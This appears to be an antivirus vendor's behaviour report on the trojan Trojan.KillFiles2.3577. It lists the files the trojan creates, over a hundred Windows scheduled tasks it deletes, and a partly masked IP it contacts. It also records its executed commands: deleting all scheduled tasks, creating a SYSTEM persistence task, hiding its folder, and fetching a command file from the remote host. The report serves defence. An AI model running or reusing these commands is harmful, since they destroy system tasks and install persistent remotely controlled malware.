Trojan.KillFiles2.3577

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\winmain

Modifies file system

Creates the following files

C:\recycler\remote\lstipservers.txt
C:\recycler\remote\newsetup.txt
C:\recycler\remote\winmain.exe
C:\recycler\remote\bindname.txt
C:\recycler\remote\getwinget.exe
C:\recycler\remote\groupname.txt
C:\recycler\remote\lstextfiles.txt
%TEMP%\9839.tmp\winmain.bat
C:\recycler\remote\launchpath.txt
nul
C:\recycler\remote\outping.txt

Deletes the following files

<SYSTEM32>\tasks\adobe acrobat update task
<SYSTEM32>\tasks\opera scheduled autoupdate 1723426318
<SYSTEM32>\tasks\microsoft\office\office 15 subscription heartbeat
<SYSTEM32>\tasks\microsoft\office\officetelemetryagentfallback2016
<SYSTEM32>\tasks\microsoft\office\officetelemetryagentlogon2016
<SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework ngen v4.0.30319
<SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework ngen v4.0.30319 64
<SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework ngen v4.0.30319 64 critical
<SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework ngen v4.0.30319 critical
<SYSTEM32>\tasks\microsoft\windows\active directory rights management services client\ad rms rights policy template management (automated)
<SYSTEM32>\tasks\microsoft\windows\active directory rights management services client\ad rms rights policy template management (manual)
<SYSTEM32>\tasks\microsoft\windows\appid\edp policy manager
<SYSTEM32>\tasks\microsoft\windows\appid\policyconverter
<SYSTEM32>\tasks\microsoft\windows\appid\verifiedpublishercertstorecheck
<SYSTEM32>\tasks\microsoft\windows\application experience\microsoft compatibility appraiser
<SYSTEM32>\tasks\microsoft\windows\application experience\programdataupdater
<SYSTEM32>\tasks\microsoft\windows\application experience\startupapptask
<SYSTEM32>\tasks\microsoft\windows\applicationdata\appuriverifierdaily
<SYSTEM32>\tasks\microsoft\windows\applicationdata\appuriverifierinstall
<SYSTEM32>\tasks\microsoft\windows\applicationdata\cleanuptemporarystate
<SYSTEM32>\tasks\microsoft\windows\applicationdata\dssvccleanup
<SYSTEM32>\tasks\microsoft\windows\appxdeploymentclient\pre-staged app cleanup
<SYSTEM32>\tasks\microsoft\windows\autochk\proxy
<SYSTEM32>\tasks\microsoft\windows\bitlocker\bitlocker encrypt all drives
<SYSTEM32>\tasks\microsoft\windows\bitlocker\bitlocker mdm policy refresh
<SYSTEM32>\tasks\microsoft\windows\bluetooth\uninstalldevicetask
<SYSTEM32>\tasks\microsoft\windows\brokerinfrastructure\bgtaskregistrationmaintenancetask
<SYSTEM32>\tasks\microsoft\windows\certificateservicesclient\aikcertenrolltask
<SYSTEM32>\tasks\microsoft\windows\certificateservicesclient\cryptopolicytask
<SYSTEM32>\tasks\microsoft\windows\certificateservicesclient\keypregentask
<SYSTEM32>\tasks\microsoft\windows\certificateservicesclient\systemtask
<SYSTEM32>\tasks\microsoft\windows\certificateservicesclient\usertask
<SYSTEM32>\tasks\microsoft\windows\certificateservicesclient\usertask-roam
<SYSTEM32>\tasks\microsoft\windows\chkdsk\proactivescan
<SYSTEM32>\tasks\microsoft\windows\chkdsk\syspartrepair
<SYSTEM32>\tasks\microsoft\windows\clip\license validation
<SYSTEM32>\tasks\microsoft\windows\cloudexperiencehost\createobjecttask
<SYSTEM32>\tasks\microsoft\windows\customer experience improvement program\consolidator
<SYSTEM32>\tasks\microsoft\windows\customer experience improvement program\usbceip
<SYSTEM32>\tasks\microsoft\windows\data integrity scan\data integrity check and scan
<SYSTEM32>\tasks\microsoft\windows\data integrity scan\data integrity scan
<SYSTEM32>\tasks\microsoft\windows\data integrity scan\data integrity scan for crash recovery
<SYSTEM32>\tasks\microsoft\windows\defrag\scheduleddefrag
<SYSTEM32>\tasks\microsoft\windows\device setup\metadata refresh
<SYSTEM32>\tasks\microsoft\windows\devicedirectoryclient\handlecommand
<SYSTEM32>\tasks\microsoft\windows\devicedirectoryclient\handlewnscommand
<SYSTEM32>\tasks\microsoft\windows\diagnosis\recommendedtroubleshootingscanner
<SYSTEM32>\tasks\microsoft\windows\diagnosis\scheduled
<SYSTEM32>\tasks\microsoft\windows\directx\directxdatabaseupdater
<SYSTEM32>\tasks\microsoft\windows\directx\dxgiadaptercache
<SYSTEM32>\tasks\microsoft\windows\diskcleanup\silentcleanup
<SYSTEM32>\tasks\microsoft\windows\diskdiagnostic\microsoft-windows-diskdiagnosticdatacollector
<SYSTEM32>\tasks\microsoft\windows\diskdiagnostic\microsoft-windows-diskdiagnosticresolver
<SYSTEM32>\tasks\microsoft\windows\diskfootprint\diagnostics
<SYSTEM32>\tasks\microsoft\windows\diskfootprint\storagesense
<SYSTEM32>\tasks\microsoft\windows\edp\edp app launch task
<SYSTEM32>\tasks\microsoft\windows\edp\edp auth task
<SYSTEM32>\tasks\microsoft\windows\edp\edp inaccessible credentials task
<SYSTEM32>\tasks\microsoft\windows\edp\storagecardencryption task
<SYSTEM32>\tasks\microsoft\windows\exploitguard\exploitguard mdm policy refresh
<SYSTEM32>\tasks\microsoft\windows\feedback\siuf\dmclient
<SYSTEM32>\tasks\microsoft\windows\feedback\siuf\dmclientonscenariodownload
<SYSTEM32>\tasks\microsoft\windows\file classification infrastructure\property definition sync
<SYSTEM32>\tasks\microsoft\windows\filehistory\file history (maintenance mode)
<SYSTEM32>\tasks\microsoft\windows\flighting\featureconfig\reconcilefeatures
<SYSTEM32>\tasks\microsoft\windows\flighting\featureconfig\usagedataflushing
<SYSTEM32>\tasks\microsoft\windows\flighting\featureconfig\usagedatareporting
<SYSTEM32>\tasks\microsoft\windows\helloface\fodcleanuptask
<SYSTEM32>\tasks\microsoft\windows\input\localusersyncdataavailable
<SYSTEM32>\tasks\microsoft\windows\input\mousesyncdataavailable
<SYSTEM32>\tasks\microsoft\windows\input\pensyncdataavailable
<SYSTEM32>\tasks\microsoft\windows\input\touchpadsyncdataavailable
<SYSTEM32>\tasks\microsoft\windows\installservice\scanforupdates
<SYSTEM32>\tasks\microsoft\windows\installservice\scanforupdatesasuser
<SYSTEM32>\tasks\microsoft\windows\installservice\smartretry
<SYSTEM32>\tasks\microsoft\windows\installservice\wakeupandcontinueupdates
<SYSTEM32>\tasks\microsoft\windows\installservice\wakeupandscanforupdates
<SYSTEM32>\tasks\microsoft\windows\international\synchronize language settings
<SYSTEM32>\tasks\microsoft\windows\languagecomponentsinstaller\installation
<SYSTEM32>\tasks\microsoft\windows\languagecomponentsinstaller\reconcilelanguageresources
<SYSTEM32>\tasks\microsoft\windows\languagecomponentsinstaller\uninstallation
<SYSTEM32>\tasks\microsoft\windows\license manager\tempsignedlicenseexchange
<SYSTEM32>\tasks\microsoft\windows\location\notifications
<SYSTEM32>\tasks\microsoft\windows\location\windowsactiondialog
<SYSTEM32>\tasks\microsoft\windows\maintenance\winsat
<SYSTEM32>\tasks\microsoft\windows\management\provisioning\cellular
<SYSTEM32>\tasks\microsoft\windows\management\provisioning\logon
<SYSTEM32>\tasks\microsoft\windows\management\provisioning\retry
<SYSTEM32>\tasks\microsoft\windows\management\provisioning\runonreboot
<SYSTEM32>\tasks\microsoft\windows\maps\mapstoasttask
<SYSTEM32>\tasks\microsoft\windows\maps\mapsupdatetask
<SYSTEM32>\tasks\microsoft\windows\memorydiagnostic\processmemorydiagnosticevents
<SYSTEM32>\tasks\microsoft\windows\memorydiagnostic\runfullmemorydiagnostic
<SYSTEM32>\tasks\microsoft\windows\mobile broadband accounts\mno metadata parser
<SYSTEM32>\tasks\microsoft\windows\mui\lpremove
<SYSTEM32>\tasks\microsoft\windows\multimedia\systemsoundsservice
<SYSTEM32>\tasks\microsoft\windows\nettrace\gathernetworkinfo
<SYSTEM32>\tasks\microsoft\windows\nlasvc\wifitask
<SYSTEM32>\tasks\microsoft\windows\offline files\background synchronization
<SYSTEM32>\tasks\microsoft\windows\offline files\logon synchronization
<SYSTEM32>\tasks\microsoft\windows\pi\secure-boot-update
<SYSTEM32>\tasks\microsoft\windows\pi\sqm-tasks
<SYSTEM32>\tasks\microsoft\windows\plug and play\device install group policy
<SYSTEM32>\tasks\microsoft\windows\plug and play\device install reboot required
<SYSTEM32>\tasks\microsoft\windows\plug and play\sysprep generalize drivers
<SYSTEM32>\tasks\microsoft\windows\power efficiency diagnostics\analyzesystem
<SYSTEM32>\tasks\microsoft\windows\printing\eduprintprov
<SYSTEM32>\tasks\microsoft\windows\pushtoinstall\logincheck
<SYSTEM32>\tasks\microsoft\windows\pushtoinstall\registration
<SYSTEM32>\tasks\microsoft\windows\ras\mobilitymanager
<SYSTEM32>\tasks\microsoft\windows\recoveryenvironment\verifywinre
<SYSTEM32>\tasks\microsoft\windows\registry\regidlebackup
<SYSTEM32>\tasks\microsoft\windows\remoteassistance\remoteassistancetask
<SYSTEM32>\tasks\microsoft\windows\servicing\startcomponentcleanup
<SYSTEM32>\tasks\microsoft\windows\settingsync\backgrounduploadtask
<SYSTEM32>\tasks\microsoft\windows\settingsync\networkstatechangetask
<SYSTEM32>\tasks\microsoft\windows\setup\setupcleanuptask
<SYSTEM32>\tasks\microsoft\windows\sharedpc\account cleanup
<SYSTEM32>\tasks\microsoft\windows\shell\createobjecttask
<SYSTEM32>\tasks\microsoft\windows\shell\familysafetymonitor
<SYSTEM32>\tasks\microsoft\windows\shell\familysafetyrefreshtask
<SYSTEM32>\tasks\microsoft\windows\shell\indexerautomaticmaintenance
<SYSTEM32>\tasks\microsoft\windows\shell\updateuserpicturetask
<SYSTEM32>\tasks\microsoft\windows\softwareprotectionplatform\svcrestarttask
<SYSTEM32>\tasks\microsoft\windows\softwareprotectionplatform\svcrestarttasklogon
<SYSTEM32>\tasks\microsoft\windows\softwareprotectionplatform\svcrestarttasknetwork
<SYSTEM32>\tasks\microsoft\windows\spaceport\spaceagenttask
<SYSTEM32>\tasks\microsoft\windows\spaceport\spacemanagertask
<SYSTEM32>\tasks\microsoft\windows\speech\speechmodeldownloadtask
<SYSTEM32>\tasks\microsoft\windows\staterepository\maintenancetasks
<SYSTEM32>\tasks\microsoft\windows\storage tiers management\storage tiers management initialization
<SYSTEM32>\tasks\microsoft\windows\storage tiers management\storage tiers optimization
<SYSTEM32>\tasks\microsoft\windows\subscription\enablelicenseacquisition
<SYSTEM32>\tasks\microsoft\windows\subscription\licenseacquisition
<SYSTEM32>\tasks\microsoft\windows\sysmain\hybriddrivecacheprepopulate
<SYSTEM32>\tasks\microsoft\windows\sysmain\hybriddrivecacherebalance
<SYSTEM32>\tasks\microsoft\windows\sysmain\respristaticdbsync
<SYSTEM32>\tasks\microsoft\windows\sysmain\wsswapassessmenttask
<SYSTEM32>\tasks\microsoft\windows\systemrestore\sr
<SYSTEM32>\tasks\microsoft\windows\task manager\interactive
<SYSTEM32>\tasks\microsoft\windows\textservicesframework\msctfmonitor
<SYSTEM32>\tasks\microsoft\windows\time synchronization\forcesynchronizetime
<SYSTEM32>\tasks\microsoft\windows\time synchronization\synchronizetime
<SYSTEM32>\tasks\microsoft\windows\time zone\synchronizetimezone
<SYSTEM32>\tasks\microsoft\windows\tpm\tpm-hascertretr
<SYSTEM32>\tasks\microsoft\windows\tpm\tpm-maintenance

Network activity

Connects to

'21#.#54.72.76':80

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''

Creates and executes the following

'C:\recycler\remote\winmain.exe'
'C:\recycler\remote\getwinget.exe' http://21#.#54.72.76/akinsider/controle/victimes/others/LstServersCmd.pdf /delete /output:c:\recycler\remote

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\9839.tmp\winmain.bat" "
'%WINDIR%\syswow64\attrib.exe' +h c:\recycler
'%WINDIR%\syswow64\schtasks.exe' /delete /f /tn *
'%WINDIR%\syswow64\schtasks.exe' /create /sc minute /mo 10 /tn winmain /tr c:\recycler\remote\winmain.exe /ru system
'%WINDIR%\syswow64\ping.exe' -n 3 21#.#54.72.76
'%WINDIR%\syswow64\cmd.exe' /c findstr "ponse reply" c:\recycler\remote\outping.txt
'%WINDIR%\syswow64\findstr.exe' "ponse reply" c:\recycler\remote\outping.txt
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\9839.tmp\winmain.bat" "' (with hidden window)

技术

术语

教育培训

误区

Technical Information

Curing recommendations

Free trial